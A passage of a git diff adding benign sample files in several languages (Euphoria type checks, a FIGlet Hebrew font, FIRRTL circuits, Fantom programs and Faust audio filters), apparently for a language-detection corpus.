+		if not integer(x[i]) then
+			return 0
+		end if
+	end for
+	return 1
+end type
+
+--**
+-- tests for text characters.
+public type t_text( object x )
+	if not sequence(x) then
+		return 0
+	end if
+
+	for i = 1 to length(x) do
+		if not integer(x[i]) then
+			return 0
+		end if
+		if x[i] < 0 then
+			return 0
+		end if
+	end for
+	return 1
+end type
+
+--**
+-- tests for atom elements.
+public type number_array( object x )
+	if not sequence(x) then
+		return 0
+	end if
+
+	for i = 1 to length(x) do
+		if not atom(x[i]) then
+			return 0
+		end if
+	end for
+	return 1
+end type
+
+--**
+-- tests for sequence with possible nested sequences.
+public type sequence_array( object x )
+	if not sequence(x) then
+		return 0
+	end if
+
+	for i = 1 to length(x) do
+		if not sequence(x[i]) then
+			return 0
+		end if
+	end for
+	return 1
+end type
+
+--**
+-- tests for ASCII elements.
+public type ascii_string( object x )
+	if not sequence(x) then
+		return 0
+	end if
+
+	for i = 1 to length(x) do
+		if not integer(x[i]) then
+			return 0
+		end if
+		if x[i] < 0 then
+			return 0
+		end if
+		if x[i] > 127 then
+			return 0
+		end if
+	end for
+	return 1
+end type
+
+--**
+-- tests for a string sequence.
+public type string( object x )
+	if not sequence(x) then
+		return 0
+	end if
+
+	for i = 1 to length(x) do
+		if not integer(x[i]) then
+			return 0
+		end if
+		if x[i] < 0 then
+			return 0
+		end if
+		if x[i] > 255 then
+			return 0
+		end if
+	end for
+	return 1
+end type
+
+--**
+-- tests for a string sequence (that has no null character).
+public type cstring( object x )
+	if not sequence(x) then
+		return 0
+	end if
+
+	for i = 1 to length(x) do
+		if not integer(x[i]) then
+			return 0
+		end if
+		if x[i] <= 0 then
+			return 0
+		end if
+		if x[i] > 255 then
+			return 0
+		end if
+	end for
+	return 1
+end type
+
+public constant INVALID_ROUTINE_ID = routine_id("#")
+public constant NO_ROUTINE_ID = -99999
+
+-- Maximum and minimum values for Euphoria 31-bit integers (as implemented by 32-bit Euphoria)
+constant
+	MAXSINT31 = power(2,30)-1,
+	MINSINT31 = -power(2,30)
+
+--** 
+-- tests for Euphoria integer.
+public type t_integer32( object o )
+	ifdef EU32 then
+		return integer( o )
+	elsedef
+		if integer( o ) and o <= MAXSINT31 and o >= MINSINT31 then
+			return 1
+		else
+			return 0
+		end if
+	end ifdef
+end type
diff --git a/samples/FIGlet Font/ivrit.flf b/samples/FIGlet Font/ivrit.flf
new file mode 100644
index 0000000000..69f16d4948
--- /dev/null
+++ b/samples/FIGlet Font/ivrit.flf	
@@ -0,0 +1,900 @@
+flf2a$ 6 5 76 15 14 1 16271 39
+Ivrit (Hebrew) Unicode font assembled by John Cowan <cowan@ccil.org>
+Latin chars from  Standard by G. Chappell & Ian Chai
+Hebrew chars from Jerusalem by Gedaliah Friedenberg <gfrieden@nyx.cs.du.edu>
+        Use "ilhebrew.flc" for Hebrew keyboard mapping
+        Use "ushebrew.flc" for U.S.-style keyboard mapping ("febrew" script)
+        Use "8859-8.flc" for ISO 8859-8 text
+        Or use UTF-8
+WARNING! FIGfonts aren't bidirectional; this is strictly right-to-left 
+        (by default) even for the Latin characters.
+figlet release 2.2 -- November 1996
+
+Modified by Paul Burton <solution@earthlink.net> 12/96 to include new parameter
+supported by FIGlet and FIGWin.  May also be slightly modified for better use
+of new full-width/kern/smush alternatives, but default output is NOT changed.
+ $@
+ $@
+ $@
+ $@
+ $@
+ $@@
+  _ @
+ | |@
+ | |@
+ |_|@
+ (_)@
+    @@
+  _ _ @
+ ( | )@
+  V V @
+   $  @
+   $  @
+      @@
+    _  _   @
+  _| || |_ @
+ |_  ..  _|@
+ |_      _|@
+   |_||_|  @
+           @@
+   _  @
+  | | @
+ / __)@
+ \__ \@
+ (   /@
+  |_| @@
+  _  __@
+ (_)/ /@
+   / / @
+  / /_ @
+ /_/(_)@
+       @@
+   ___   @
+  ( _ )  @
+  / _ \/\@
+ | (_>  <@
+  \___/\/@
+         @@
+  _ @
+ ( )@
+ |/ @
+  $ @
+  $ @
+    @@
+   __@
+  / /@
+ | | @
+ | | @
+ | | @
+  \_\@@
+ __  @
+ \ \ @
+  | |@
+  | |@
+  | |@
+ /_/ @@
+       @
+ __/\__@
+ \    /@
+ /_  _\@
+   \/  @
+       @@
+        @
+    _   @
+  _| |_ @
+ |_   _|@
+   |_|  @
+        @@
+    @
+    @
+    @
+  _ @
+ ( )@
+ |/ @@
+        @
+        @
+  _____ @
+ |_____|@
+    $   @
+        @@
+    @
+    @
+    @
+  _ @
+ (_)@
+    @@
+     __@
+    / /@
+   / / @
+  / /  @
+ /_/   @
+       @@
+   ___  @
+  / _ \ @
+ | | | |@
+ | |_| |@
+  \___/ @
+        @@
+  _ @
+ / |@
+ | |@
+ | |@
+ |_|@
+    @@
+  ____  @
+ |___ \ @
+   __) |@
+  / __/ @
+ |_____|@
+        @@
+  _____ @
+ |___ / @
+   |_ \ @
+  ___) |@
+ |____/ @
+        @@
+  _  _   @
+ | || |  @
+ | || |_ @
+ |__   _|@
+    |_|  @
+         @@
+  ____  @
+ | ___| @
+ |___ \ @
+  ___) |@
+ |____/ @
+        @@
+   __   @
+  / /_  @
+ | '_ \ @
+ | (_) |@
+  \___/ @
+        @@
+  _____ @
+ |___  |@
+    / / @
+   / /  @
+  /_/   @
+        @@
+   ___  @
+  ( _ ) @
+  / _ \ @
+ | (_) |@
+  \___/ @
+        @@
+   ___  @
+  / _ \ @
+ | (_) |@
+  \__, |@
+    /_/ @
+        @@
+    @
+  _ @
+ (_)@
+  _ @
+ (_)@
+    @@
+    @
+  _ @
+ (_)@
+  _ @
+ ( )@
+ |/ @@
+   __@
+  / /@
+ / / @
+ \ \ @
+  \_\@
+     @@
+        @
+  _____ @
+ |_____|@
+ |_____|@
+    $   @
+        @@
+ __  @
+ \ \ @
+  \ \@
+  / /@
+ /_/ @
+     @@
+  ___ @
+ |__ \@
+   / /@
+  |_| @
+  (_) @
+      @@
+    ____  @
+   / __ \ @
+  / / _` |@
+ | | (_| |@
+  \ \__,_|@
+   \____/ @@
+     _    @
+    / \   @
+   / _ \  @
+  / ___ \ @
+ /_/   \_\@
+          @@
+  ____  @
+ | __ ) @
+ |  _ \ @
+ | |_) |@
+ |____/ @
+        @@
+   ____ @
+  / ___|@
+ | |    @
+ | |___ @
+  \____|@
+        @@
+  ____  @
+ |  _ \ @
+ | | | |@
+ | |_| |@
+ |____/ @
+        @@
+  _____ @
+ | ____|@
+ |  _|  @
+ | |___ @
+ |_____|@
+        @@
+  _____ @
+ |  ___|@
+ | |_   @
+ |  _|  @
+ |_|    @
+        @@
+   ____ @
+  / ___|@
+ | |  _ @
+ | |_| |@
+  \____|@
+        @@
+  _   _ @
+ | | | |@
+ | |_| |@
+ |  _  |@
+ |_| |_|@
+        @@
+  ___ @
+ |_ _|@
+  | | @
+  | | @
+ |___|@
+      @@
+      _ @
+     | |@
+  _  | |@
+ | |_| |@
+  \___/ @
+        @@
+  _  __@
+ | |/ /@
+ | ' / @
+ | . \ @
+ |_|\_\@
+       @@
+  _     @
+ | |    @
+ | |    @
+ | |___ @
+ |_____|@
+        @@
+  __  __ @
+ |  \/  |@
+ | |\/| |@
+ | |  | |@
+ |_|  |_|@
+         @@
+  _   _ @
+ | \ | |@
+ |  \| |@
+ | |\  |@
+ |_| \_|@
+        @@
+   ___  @
+  / _ \ @
+ | | | |@
+ | |_| |@
+  \___/ @
+        @@
+  ____  @
+ |  _ \ @
+ | |_) |@
+ |  __/ @
+ |_|    @
+        @@
+   ___  @
+  / _ \ @
+ | | | |@
+ | |_| |@
+  \__\_\@
+        @@
+  ____  @
+ |  _ \ @
+ | |_) |@
+ |  _ < @
+ |_| \_\@
+        @@
+  ____  @
+ / ___| @
+ \___ \ @
+  ___) |@
+ |____/ @
+        @@
+  _____ @
+ |_   _|@
+   | |  @
+   | |  @
+   |_|  @
+        @@
+  _   _ @
+ | | | |@
+ | | | |@
+ | |_| |@
+  \___/ @
+        @@
+ __     __@
+ \ \   / /@
+  \ \ / / @
+   \ V /  @
+    \_/   @
+          @@
+ __        __@
+ \ \      / /@
+  \ \ /\ / / @
+   \ V  V /  @
+    \_/\_/   @
+             @@
+ __  __@
+ \ \/ /@
+  \  / @
+  /  \ @
+ /_/\_\@
+       @@
+ __   __@
+ \ \ / /@
+  \ V / @
+   | |  @
+   |_|  @
+        @@
+  _____@
+ |__  /@
+   / / @
+  / /_ @
+ /____|@
+       @@
+  __ @
+ | _|@
+ | | @
+ | | @
+ | | @
+ |__|@@
+ __    @
+ \ \   @
+  \ \  @
+   \ \ @
+    \_\@
+       @@
+  __ @
+ |_ |@
+  | |@
+  | |@
+  | |@
+ |__|@@
+  /\ @
+ |/\|@
+   $ @
+   $ @
+   $ @
+     @@
+        @
+        @
+        @
+        @
+  _____ @
+ |_____|@@
+  _ @
+ ( )@
+  \|@
+  $ @
+  $ @
+    @@
+        @
+   __ _ @
+  / _` |@
+ | (_| |@
+  \__,_|@
+        @@
+  _     @
+ | |__  @
+ | '_ \ @
+ | |_) |@
+ |_.__/ @
+        @@
+       @
+   ___ @
+  / __|@
+ | (__ @
+  \___|@
+       @@
+      _ @
+   __| |@
+  / _` |@
+ | (_| |@
+  \__,_|@
+        @@
+       @
+   ___ @
+  / _ \@
+ |  __/@
+  \___|@
+       @@
+   __ @
+  / _|@
+ | |_ @
+ |  _|@
+ |_|  @
+      @@
+        @
+   __ _ @
+  / _` |@
+ | (_| |@
+  \__, |@
+  |___/ @@
+  _     @
+ | |__  @
+ | '_ \ @
+ | | | |@
+ |_| |_|@
+        @@
+  _ @
+ (_)@
+ | |@
+ | |@
+ |_|@
+    @@
+    _ @
+   (_)@
+   | |@
+   | |@
+  _/ |@
+ |__/ @@
+  _    @
+ | | __@
+ | |/ /@
+ |   < @
+ |_|\_\@
+       @@
+  _ @
+ | |@
+ | |@
+ | |@
+ |_|@
+    @@
+            @
+  _ __ ___  @
+ | '_ ` _ \ @
+ | | | | | |@
+ |_| |_| |_|@
+            @@
+        @
+  _ __  @
+ | '_ \ @
+ | | | |@
+ |_| |_|@
+        @@
+        @
+   ___  @
+  / _ \ @
+ | (_) |@
+  \___/ @
+        @@
+        @
+  _ __  @
+ | '_ \ @
+ | |_) |@
+ | .__/ @
+ |_|    @@
+        @
+   __ _ @
+  / _` |@
+ | (_| |@
+  \__, |@
+     |_|@@
+       @
+  _ __ @
+ | '__|@
+ | |   @
+ |_|   @
+       @@
+      @
+  ___ @
+ / __|@
+ \__ \@
+ |___/@
+      @@
+  _   @
+ | |_ @
+ | __|@
+ | |_ @
+  \__|@
+      @@
+        @
+  _   _ @
+ | | | |@
+ | |_| |@
+  \__,_|@
+        @@
+        @
+ __   __@
+ \ \ / /@
+  \ V / @
+   \_/  @
+        @@
+           @
+ __      __@
+ \ \ /\ / /@
+  \ V  V / @
+   \_/\_/  @
+           @@
+       @
+ __  __@
+ \ \/ /@
+  >  < @
+ /_/\_\@
+       @@
+        @
+  _   _ @
+ | | | |@
+ | |_| |@
+  \__, |@
+  |___/ @@
+      @
+  ____@
+ |_  /@
+  / / @
+ /___|@
+      @@
+    __@
+   / /@
+  | | @
+ < <  @
+  | | @
+   \_\@@
+  _ @
+ | |@
+ | |@
+ | |@
+ | |@
+ |_|@@
+ __   @
+ \ \  @
+  | | @
+   > >@
+  | | @
+ /_/  @@
+  /\/|@
+ |/\/ @
+   $  @
+   $  @
+   $  @
+      @@
+  _   _ @
+ (_)_(_)@
+   /_\  @
+  / _ \ @
+ /_/ \_\@
+        @@
+  _   _ @
+ (_)_(_)@
+  / _ \ @
+ | |_| |@
+  \___/ @
+        @@
+  _   _ @
+ (_) (_)@
+ | | | |@
+ | |_| |@
+  \___/ @
+        @@
+  _   _ @
+ (_)_(_)@
+  / _` |@
+ | (_| |@
+  \__,_|@
+        @@
+  _   _ @
+ (_)_(_)@
+  / _ \ @
+ | (_) |@
+  \___/ @
+        @@
+  _   _ @
+ (_) (_)@
+ | | | |@
+ | |_| |@
+  \__,_|@
+        @@
+   ___ @
+  / _ \@
+ | |/ /@
+ | |\ \@
+ | ||_/@
+ |_|   @@
+160  NO-BREAK SPACE
+ $@
+ $@
+ $@
+ $@
+ $@
+ $@@
+173  SOFT HYPHEN
+        @
+        @
+  _____ @
+ |_____|@
+    $   @
+        @@
+196  LATIN CAPITAL LETTER A WITH DIAERESIS
+  _   _ @
+ (_)_(_)@
+   /_\  @
+  / _ \ @
+ /_/ \_\@
+        @@
+214  LATIN CAPITAL LETTER O WITH DIAERESIS
+  _   _ @
+ (_)_(_)@
+  / _ \ @
+ | |_| |@
+  \___/ @
+        @@
+220  LATIN CAPITAL LETTER U WITH DIAERESIS
+  _   _ @
+ (_) (_)@
+ | | | |@
+ | |_| |@
+  \___/ @
+        @@
+223  LATIN SMALL LETTER SHARP S
+   ___ @
+  / _ \@
+ | |/ /@
+ | |\ \@
+ | ||_/@
+ |_|   @@
+228  LATIN SMALL LETTER A WITH DIAERESIS
+  _   _ @
+ (_)_(_)@
+  / _` |@
+ | (_| |@
+  \__,_|@
+        @@
+246  LATIN SMALL LETTER O WITH DIAERESIS
+  _   _ @
+ (_)_(_)@
+  / _ \ @
+ | (_) |@
+  \___/ @
+        @@
+252  LATIN SMALL LETTER U WITH DIAERESIS
+  _   _ @
+ (_) (_)@
+ | | | |@
+ | |_| |@
+  \__,_|@
+        @@
+0x05D0  HEBREW LETTER ALEF
+ __   __@
+ \ \ / /@
+ |  V / @
+ | |\ \ @
+ |_| \_\@
+        @@
+0x05D1  HEBREW LETTER BET
+   ______  @
+  |____  | @
+       | | @
+  _____| |_@
+ /________/@
+           @@
+0x05D2  HEBREW LETTER GIMEL
+    ____  @
+   |__  | @
+      | | @
+  ____| | @
+ /____/\_\@
+          @@
+0x05D3  HEBREW LETTER DALET
+  _______ @
+ |____   |@
+      | | @
+      | | @
+      |_| @
+          @@
+0x05D4  HEBREW LETTER HE
+  _______ @
+ |_____  |@
+   _   | |@
+  | |  | |@
+  |_|  |_|@
+          @@
+0x05D5  HEBREW LETTER VAV
+  ___ @
+ |_  |@
+   | |@
+   | |@
+   |_|@
+      @@
+0x05D6  HEBREW LETTER ZAYIN
+ ________ @
+ \__   __\@
+    | |   @
+    | |   @
+    |_|   @
+          @@
+0x05D7  HEBREW LETTER HET
+  _______ @
+ |.  __  |@
+  | |  | |@
+  | |  | |@
+  |_|  |_|@
+          @@
+0x05D8  HEBREW LETTER TET
+  __   ___ @
+ |. | /_  |@
+  | |   | |@
+  | |___| |@
+  |_______|@
+           @@
+0x05D9  HEBREW LETTER YOD
+  ___ @
+ |_  |@
+   |_|@
+    $ @
+    $ @
+      @@
+0x05DA  HEBREW LETTER FINAL KAF
+  _______ @
+ |____  .|@
+      | | @
+      | | @
+      | | @
+      |_| @@
+0x05DB  HEBREW LETTER KAF
+  _____  @
+ |____ \ @
+      | |@
+  ____| |@
+ |_____/ @
+         @@
+0x05DC  HEBREW LETTER LAMED
+ |=|____ @
+ |____  |@
+     / / @
+    / /  @
+   /_/   @
+         @@
+0x05DD  HEBREW LETTER FINAL MEM
+  ________ @
+ |.  ___  |@
+  | |   | |@
+  | |___| |@
+  |_______|@
+           @@
+0x05DE  HEBREW LETTER MEM
+  _______ @
+ |.  __  |@
+  | |  | |@
+  | | _| |@
+  |_||___|@
+          @@
+0x05DF  HEBREW LETTER FINAL NUN
+  ___ @
+ |_  |@
+   | |@
+   | |@
+   | |@
+   |_|@@
+0x05E0  HEBREW LETTER NUN
+   ___ @
+  |_  |@
+    | |@
+  __| |@
+ |____|@
+       @@
+0x05E1  HEBREW LETTER SAMEKH
+  _______ @
+ |.  __  |@
+  | |  | |@
+  | |__/ |@
+  |_____/ @
+          @@
+0x05E2  HEBREW LETTER AYIN
+  __   _ @
+  \ \ | |@
+   \ \| |@
+  __\ ` |@
+ |______|@
+         @@
+0x05E3  HEBREW LETTER FINAL PE
+  ______ @
+ |  __  |@
+ | |_ | |@
+ |___|| |@
+      | |@
+      |_|@@
+0x05E4  HEBREW LETTER PE
+  _______ @
+ |  ___  |@
+  \_\  | |@
+  _____| |@
+ |_______|@
+          @@
+0x05E5  HEBREW LETTER FINAL TSADI
+  __   _ @
+ |. | | |@
+  | | // @
+  | |//  @
+  | |    @
+  |_|    @@
+0x05E6  HEBREW LETTER TSADI
+   __   __.@
+   \ \ / / @
+    \ V /  @
+  ___\  \  @
+ |______|  @
+           @@
+0x05E7  HEBREW LETTER QOF
+  ______ @
+ |____  |@
+   _  | |@
+  | | |_|@
+  | |    @
+  |_|    @@
+0x05E8  HEBREW LETTER RESH
+  ______ @
+ |____  |@
+      | |@
+      | |@
+      |_|@
+         @@
+0x05E9  HEBREW LETTER SHIN
+  _   _   _ @
+ | | | | | |@
+ | | | | | |@
+ | |/ /_/ / @
+ |_______/  @
+            @@
+0x05EA  HEBREW LETTER TAV
+    ______ @
+   |  __  |@
+   | |  | |@
+  _| |  | |@
+ |___|  |_|@
+           @@
+0x2721  STAR OF DAVID
+       @
+ __/\__@
+ \    /@
+ /_  _\@
+   \/  @
+       @@
+-0x0002  
+aleph = t, bet/vet = c, gimel = d, dalet = s, he = v, vav = u, zayin = z  @
+het = j, tet = y, yod = h, kaf/chaf = f, final kaf = l, lamed = k, mem = n@
+final mem = o, nun = b, final nun = i, samekh = x, ayin = g, pe/fe = p,   @
+final pe = ;, tsadi = m, final tsadi = ., qof = e, resh = r, shin/sin = a @
+tav = , comma = ', period = /, semicolon = `, slash = q, apostrophe = w   @
+Star of David = *                                                         @@
+-0x0003  
+aleph = a, bet/vet = b, gimel = g, dalet = d, he = h, vav = v, zayin = z  @
+het = c, tet = t, yod = y, kaf/chaf = k, final kaf = f, lamed = l, mem = m@
+final mem = o, nun = n, final nun = i, samekh = e, ayin = _, pe/fe = p,   @
+final pe = u, tsadi = j, final tsadi = w, qof = q, resh = r, shin/sin = s @
+tav = x                                                                   @
+Star of David = *                                                         @@
diff --git a/samples/FIRRTL/LFSR.fir b/samples/FIRRTL/LFSR.fir
new file mode 100644
index 0000000000..4b892862e8
--- /dev/null
+++ b/samples/FIRRTL/LFSR.fir
@@ -0,0 +1,51 @@
+FIRRTL version 4.0.0
+circuit Foo : %[[
+  {
+    "class": "firrtl.transforms.DontTouchAnnotation",
+    "target": "~Foo|Foo>a"
+  }
+]]
+  layer A, bind:
+  module MaxPeriodFibonacciLFSR : @[src/main/scala/chisel3/util/random/FibonacciLFSR.scala 65:7]
+    input clock : Clock @[src/main/scala/chisel3/util/random/FibonacciLFSR.scala 65:7]
+    input reset : Reset @[src/main/scala/chisel3/util/random/FibonacciLFSR.scala 65:7]
+    output io : { flip seed : { valid : UInt<1>, bits : UInt<1>[4]}, flip increment : UInt<1>, out : UInt<1>[4]} @[src/main/scala/chisel3/util/random/PRNG.scala 42:22]
+
+    wire _state_WIRE : UInt<1>[4] @[src/main/scala/chisel3/util/random/PRNG.scala 46:28]
+    connect _state_WIRE[0], UInt<1>(0h1) @[src/main/scala/chisel3/util/random/PRNG.scala 46:28]
+    connect _state_WIRE[1], UInt<1>(0h0) @[src/main/scala/chisel3/util/random/PRNG.scala 46:28]
+    connect _state_WIRE[2], UInt<1>(0h0) @[src/main/scala/chisel3/util/random/PRNG.scala 46:28]
+    connect _state_WIRE[3], UInt<1>(0h0) @[src/main/scala/chisel3/util/random/PRNG.scala 46:28]
+    regreset state : UInt<1>[4], clock, reset, _state_WIRE @[src/main/scala/chisel3/util/random/PRNG.scala 55:49]
+    when io.increment : @[src/main/scala/chisel3/util/random/PRNG.scala 69:22]
+      node _T = xor(state[3], state[2]) @[src/main/scala/chisel3/util/random/LFSR.scala 15:41]
+      connect state[0], _T @[src/main/scala/chisel3/util/random/PRNG.scala 70:11]
+      connect state[1], state[0] @[src/main/scala/chisel3/util/random/PRNG.scala 70:11]
+      connect state[2], state[1] @[src/main/scala/chisel3/util/random/PRNG.scala 70:11]
+      connect state[3], state[2] @[src/main/scala/chisel3/util/random/PRNG.scala 70:11]
+    when io.seed.valid : @[src/main/scala/chisel3/util/random/PRNG.scala 73:22]
+      connect state[0], io.seed.bits[0] @[src/main/scala/chisel3/util/random/PRNG.scala 74:11]
+      connect state[1], io.seed.bits[1] @[src/main/scala/chisel3/util/random/PRNG.scala 74:11]
+      connect state[2], io.seed.bits[2] @[src/main/scala/chisel3/util/random/PRNG.scala 74:11]
+      connect state[3], io.seed.bits[3] @[src/main/scala/chisel3/util/random/PRNG.scala 74:11]
+    connect io.out, state @[src/main/scala/chisel3/util/random/PRNG.scala 78:10]
+
+  public module Foo : @[Users/user/repos/github.com/seldridge/scala-snippets/LFSR.scala 11:7]
+    input clock : Clock @[Users/user/repos/github.com/seldridge/scala-snippets/LFSR.scala 11:7]
+    input reset : UInt<1> @[Users/user/repos/github.com/seldridge/scala-snippets/LFSR.scala 11:7]
+    output a : UInt<4> @[Users/user/repos/github.com/seldridge/scala-snippets/LFSR.scala 12:13]
+
+    inst a_prng of MaxPeriodFibonacciLFSR @[src/main/scala/chisel3/util/random/PRNG.scala 91:22]
+    connect a_prng.clock, clock
+    connect a_prng.reset, reset
+    connect a_prng.io.seed.valid, UInt<1>(0h0) @[src/main/scala/chisel3/util/random/PRNG.scala 92:24]
+    invalidate a_prng.io.seed.bits[0] @[src/main/scala/chisel3/util/random/PRNG.scala 93:23]
+    invalidate a_prng.io.seed.bits[1] @[src/main/scala/chisel3/util/random/PRNG.scala 93:23]
+    invalidate a_prng.io.seed.bits[2] @[src/main/scala/chisel3/util/random/PRNG.scala 93:23]
+    invalidate a_prng.io.seed.bits[3] @[src/main/scala/chisel3/util/random/PRNG.scala 93:23]
+    connect a_prng.io.increment, UInt<1>(0h1) @[src/main/scala/chisel3/util/random/PRNG.scala 94:23]
+    node a_lo = cat(a_prng.io.out[1], a_prng.io.out[0]) @[src/main/scala/chisel3/util/random/PRNG.scala 95:17]
+    node a_hi = cat(a_prng.io.out[3], a_prng.io.out[2]) @[src/main/scala/chisel3/util/random/PRNG.scala 95:17]
+    node _a_T = cat(a_hi, a_lo) @[src/main/scala/chisel3/util/random/PRNG.scala 95:17]
+    connect a, _a_T @[Users/user/repos/github.com/seldridge/scala-snippets/LFSR.scala 14:5]
+    printf(clock, UInt<1>(1), "Value of a is %x", a)
diff --git a/samples/FIRRTL/Memory.fir b/samples/FIRRTL/Memory.fir
new file mode 100644
index 0000000000..3e2a965c3d
--- /dev/null
+++ b/samples/FIRRTL/Memory.fir
@@ -0,0 +1,28 @@
+FIRRTL version 4.0.0
+circuit Memory:
+  public module Memory:
+    input clock: Clock
+    input rAddr: UInt<4>
+    input rEn: UInt<1>
+    output rData: UInt<8>
+    input wMask: UInt<1>
+    input wData: UInt<8>
+
+    mem tbMemoryKind1:
+      data-type => UInt<1>
+      depth => 16
+      reader => r
+      writer => w
+      read-latency => 1
+      write-latency => 1
+      read-under-write => undefined
+
+    tbMemoryKind1.r.clk <= clock
+    tbMemoryKind1.r.en <= rEn
+    tbMemoryKind1.r.addr <= rAddr
+    rData <= tbMemoryKind1.r.data
+    tbMemoryKind1.w.clk <= clock
+    tbMemoryKind1.w.en <= rEn
+    tbMemoryKind1.w.addr <= rAddr
+    tbMemoryKind1.w.mask <= wMask
+    tbMemoryKind1.w.data <= wData
diff --git a/samples/Fantom/sample1.fan b/samples/Fantom/sample1.fan
new file mode 100644
index 0000000000..5f3dde5385
--- /dev/null
+++ b/samples/Fantom/sample1.fan
@@ -0,0 +1,97 @@
+/*
+ * Author: Robert Koeninger
+ * License: WTFPL (http://www.wtfpl.net/)
+ */
+
+class Spelling {
+
+  ** Load sample text and offer corrections for input
+  static Void main(Str[] args) {
+    text := File.os("big.txt").readAllStr
+    counts := Str:Int[:] { def = 0 }
+    text.split.each |word| { counts[word] += 1 }
+    args.each |arg| { echo(correction(counts, arg)) }
+  }
+
+  static const Range letters := Range.makeInclusive(97, 122)
+
+  ** Most probable spelling correction for `word`.
+  static Str correction(Str:Int counts, Str word) {
+    candidates(counts, word).max |x, y| { counts[x] <=> counts[y] }
+  }
+
+  ** Generate possible spelling corrections for `word`.
+  static Str[] candidates(Str:Int counts, Str word) {
+    result := known(counts, Str[word])
+    if (result.size > 0) return result
+
+    result = known(counts, edits1(word))
+    if (result.size > 0) return result
+
+    result = known(counts, edits2(word))
+    if (result.size > 0) return result
+
+    return Str[word]
+  }
+
+  ** The subset of `words` that appear in the map of `counts`.
+  static Str[] known(Str:Int counts, Str[] words) {
+    words.findAll |word, i| { counts[word] > 0 }.unique
+  }
+
+  ** All edits that are one edit away from `word`.
+  static Str[] edits1(Str word) {
+    edits := Str[,]
+
+    for (i := 0; i < word.size; ++i) {
+      edits.add(delete(word, i))
+
+      if (i < word.size - 2) {
+        edits.add(transpose(word, i))
+      }
+
+      edits.addAll(replace(word, i))
+      edits.addAll(insert(word, i))
+    }
+
+    edits = edits.unique
+    edits.remove(word)
+    return edits
+  }
+
+  ** Word with `i`th letter removed.
+  static Str delete(Str word, Int i) {
+    left := word.getRange(Range.makeExclusive(0, i))
+    right := word.getRange(Range.makeExclusive(i + 1, word.size))
+    return left + right
+  }
+
+  ** Word with `i`th and `i+1`st letter swapped.
+  static Str transpose(Str word, Int i) {
+    left := word.getRange(Range.makeExclusive(0, i))
+    right := word.getRange(Range.makeExclusive(i, word.size))
+    first := right.get(0).toChar
+    second := right.get(1).toChar
+    rest := right.getRange(Range.makeExclusive(2, right.size))
+    return left + second + first + rest
+  }
+
+  ** Word with `i`th letter replaced with every other letter.
+  static Str[] replace(Str word, Int i) {
+    left := word.getRange(Range.makeExclusive(0, i))
+    right := word.getRange(Range.makeExclusive(i + 1, word.size))
+    return letters.map |ch| { left + ch.toChar + right }
+  }
+
+  ** Word with each letter inserted at `i`.
+  static Str[] insert(Str word, Int i) {
+    left := word.getRange(Range.makeExclusive(0, i))
+    right := word.getRange(Range.makeExclusive(i, word.size))
+    return letters.map |ch| { left + ch.toChar + right }
+  }
+
+  ** All edits that are two edits away from `word`.
+  static Str[] edits2(Str word) {
+    (Str[])(edits1(word).map |w| { edits1(w) }.flatten)
+  }
+}
diff --git a/samples/Fantom/sample2.fan b/samples/Fantom/sample2.fan
new file mode 100644
index 0000000000..ae99e9834a
--- /dev/null
+++ b/samples/Fantom/sample2.fan
@@ -0,0 +1,50 @@
+/*
+ * Author: Robert Koeninger
+ * License: WTFPL (http://www.wtfpl.net/)
+ */
+
+mixin Expr
+{
+  abstract Obj? eval()
+}
+
+class Constant : Expr
+{
+  Obj? value
+
+  new make(Obj? value) { this.value = value }
+  override Obj? eval() { value }
+}
+
+enum class Op
+{
+  plus,
+  minus
+}
+
+class Infix : Expr
+{
+  Op op
+  Expr left
+  Expr right
+
+  new make(Op op, Expr left, Expr right)
+  {
+    this.op = op
+    this.left = left
+    this.right = right
+  }
+
+  override Obj? eval()
+  {
+    switch (op)
+    {
+      case Op.plus:
+        return (Int)left.eval() + (Int)right.eval()
+      case Op.minus:
+        return (Int)left.eval() - (Int)right.eval()
+      default:
+        throw Err("undefined Op")
+    }
+  }
+}
diff --git a/samples/Faust/FFT.dsp b/samples/Faust/FFT.dsp
new file mode 100644
index 0000000000..3589b4c87b
--- /dev/null
+++ b/samples/Faust/FFT.dsp
@@ -0,0 +1,26 @@
+// Radix 2 FFT, decimation in time, real and imag parts interleaved
+
+declare name	"FFT"; // Faust Fourier Transform :-)
+declare author	"JOS";
+declare license "STK-4.3";
+
+import("stdfaust.lib");
+
+N=32; // FFT size (power of 2)
+// Number of frequency bins (including dc and SR/2) is N/2+1
+
+No2 = N>>1;
+signal = amp * cosine with {
+  cosine = select2(k==0,
+		 select2(k==No2,
+			2.0*os.oscrc(f(k)), // 2x since negative-frequencies not displayed
+			1-1':+~*(-1) // Alternating sequence: 1, -1, 1, -1
+			),
+		   1.0); // make sure phase is zero (freq jumps around)
+  f(k) = float(k) * ma.SR / float(N); // only test FFT bin frequencies
+  k = hslider("[2] FFT Bin Number",N/4,0,No2,0.001) : int <: _,dpy : attach;
+  dpy = hbargraph("[3] Measured FFT Bin Number",0,No2);
+  amp = hslider("[4] Amplitude",0.1,0,1,0.001);
+};
+
+process = signal : dm.fft_spectral_level_demo(N) <: _,_;
diff --git a/samples/Faust/lowCut.dsp b/samples/Faust/lowCut.dsp
new file mode 100644
index 0000000000..c9d12ebbb5
--- /dev/null
+++ b/samples/Faust/lowCut.dsp
@@ -0,0 +1,40 @@
+// WARNING: This a "legacy example based on a deprecated library". Check filters.lib
+// for more accurate examples of filter functions
+
+declare name 		"lowcut";
+declare version 	"1.0";
+declare author 		"Grame";
+declare license 	"BSD";
+declare copyright 	"(c)GRAME 2006";
+
+//------------------------------------------------------------------
+//	DAFX, Digital Audio Effects (Wiley ed.)
+//	chapter 2 	: filters
+//	section 2.3 : Equalizers
+//	page 53 	: second order shelving filter design
+//------------------------------------------------------------------
+
+import("stdfaust.lib");
+
+//------------------- low-frequency shelving cut (table 2.3) --------------------
+
+V0(g)			= pow(10,g/-20.0);
+K(fc) 			= tan(ma.PI*fc/ma.SR);
+squ(x)		= x*x;
+denom(fc,g)		= 1 + sqrt(2*V0(g))*K(fc) + V0(g)*squ(K(fc));
+
+lfcut(fc, g)	= fi.TF2((1 + sqrt(2)*K(fc) + squ(K(fc))) / denom(fc,g),
+						2 * (squ(K(fc)) - 1) / denom(fc,g),
+						(1 - sqrt(2)*K(fc) + squ(K(fc))) / denom(fc,g),
+						2 * (V0(g)*squ(K(fc)) - 1) / denom(fc,g),
+						(1 - sqrt(2*V0(g))*K(fc) + V0(g)*squ(K(fc))) / denom(fc,g));
+
+//------------------------------ User Interface -----------------------------------
+
+freq 			= hslider("freq [unit:Hz][style:knob]", 100, 20, 5000, 1);
+att				= hslider("attenuation [unit:dB][style:knob]", 0, -96, 10, 0.1);
